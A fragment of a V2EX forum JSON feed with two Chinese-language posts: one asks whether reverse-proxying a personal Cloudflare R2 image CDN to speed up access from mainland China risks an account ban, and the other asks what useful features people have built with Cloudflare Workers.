      "content_html": "<p>\u6211\u76ee\u524d\u5728\u7528 Cloudflare \u7684 R2 \u5b58\u50a8\u505a\u9759\u6001\u56fe\u5e8a\uff0c\u57df\u540d\u7ed1\u5b9a\u4e86 Cloudflare \u5e76\u5f00\u542f\u4e86 CDN \u3002\u51fa\u4e8e\u56fd\u5185\u8bbf\u95ee\u901f\u5ea6\u7684\u8003\u8651\uff0c\u6211\u7528\u4e00\u53f0\u81ea\u5df1\u7684\u670d\u52a1\u5668\u505a\u4e86\u53cd\u5411\u4ee3\u7406\uff0c\u4ece R2 \u7684 CDN \u62c9\u53d6\u56fe\u7247\u8d44\u6e90\uff0c\u518d\u8f6c\u53d1\u7ed9\u7528\u6237\u3002\u8fd9\u6837\u56fd\u5185\u7528\u6237\u8d70\u6211\u7684\u670d\u52a1\u5668\uff0c\u901f\u5ea6\u5e94\u8be5\u4f1a\u5feb\u5f88\u591a\u3002</p>\n<p>\u6211\u7684\u7591\u95ee\u662f\uff1a</p>\n<ol>\n<li>\n<p>\u8fd9\u6837\u505a\u6280\u672f\u4e0a\u6ca1\u95ee\u9898\u5427\uff1f\u6211\u62c5\u5fc3 CF \u4f1a\u4e0d\u4f1a\u8ba4\u4e3a\u8fd9\u662f\u6ee5\u7528\u7136\u540e\u5c01\u6211\u8d26\u53f7 </p>\n</li>\n<li>\n<p>\u5982\u679c\u4e0d\u80fd\u8fd9\u4e48\u505a\uff0c\u6709\u6ca1\u6709\u66f4\u7a33\u59a5\u7684\u65b9\u6cd5\uff1f</p>\n</li>\n</ol>\n<p>\u4e3b\u8981\u7528\u4e8e\u81ea\u5df1\u9879\u76ee\u4e2d\u7684\u56fe\u7247\u8d44\u6e90\u52a0\u8f7d\u3002\u5e0c\u671b\u6709\u7ecf\u9a8c\u7684\u670b\u53cb\u5206\u4eab\u4e00\u4e0b\u3002</p>\n<p>\u8865\u5145\uff1a</p>\n<ul>\n<li>\u8bbf\u95ee\u91cf\u4e0d\u5927\uff0c\u4e2a\u4eba\u7f51\u7ad9\u7ea7\u522b</li>\n</ul>\n", 
      "date_published": "2025-08-06T13:59:46+00:00", 
      "title": "\u53cd\u4ee3 Cloudflare R2 CDN \u4f18\u5316\u56fd\u5185\u8bbf\u95ee\uff0c\u6709\u5c01\u53f7\u98ce\u9669\u5417\uff1f", 
      "id": "https://www.v2ex.com/t/1150495"
    }, 
    {
      "author": {
        "url": "https://www.v2ex.com/member/Her0", 
        "name": "Her0", 
        "avatar": "https://cdn.v2ex.com/avatar/8ba6/fa81/83925_large.png?m=1757384817"
      }, 
      "url": "https://www.v2ex.com/t/1149527", 
      "title": "\u8bf4\u8bf4\u4f60\u4eec\u90fd\u7528 cloudflare workers \u5b9e\u73b0\u4e86\u54ea\u4e9b\u6709\u7528\u7684\u529f\u80fd\uff1f", 
      "id": "https://www.v2ex.com/t/1149527", 
      "date_published": "2025-08-02T15:00:22+00:00", 
      "content_html": "<p>\u6211\u5148\u6765\u3002</p>\n<ol>\n<li>\u57df\u540d\u8f6c\u53d1</li>\n<li>\u63a5\u6536 webhook--&gt;\u53d1\u4f01\u5fae/\u98de\u4e66/\u9489\u9489\u901a\u77e5</li>\n</ol>\n<p>\u8fd8\u6709\u54ea\u4e9b\u4e0d\u4e3a\u4eba\u77e5\u7684\u4f7f\u7528\u59ff\u52bf\u5462\uff1f\u5927\u4f6c\u4eec\u3002</p>\n"
    }
  ]
}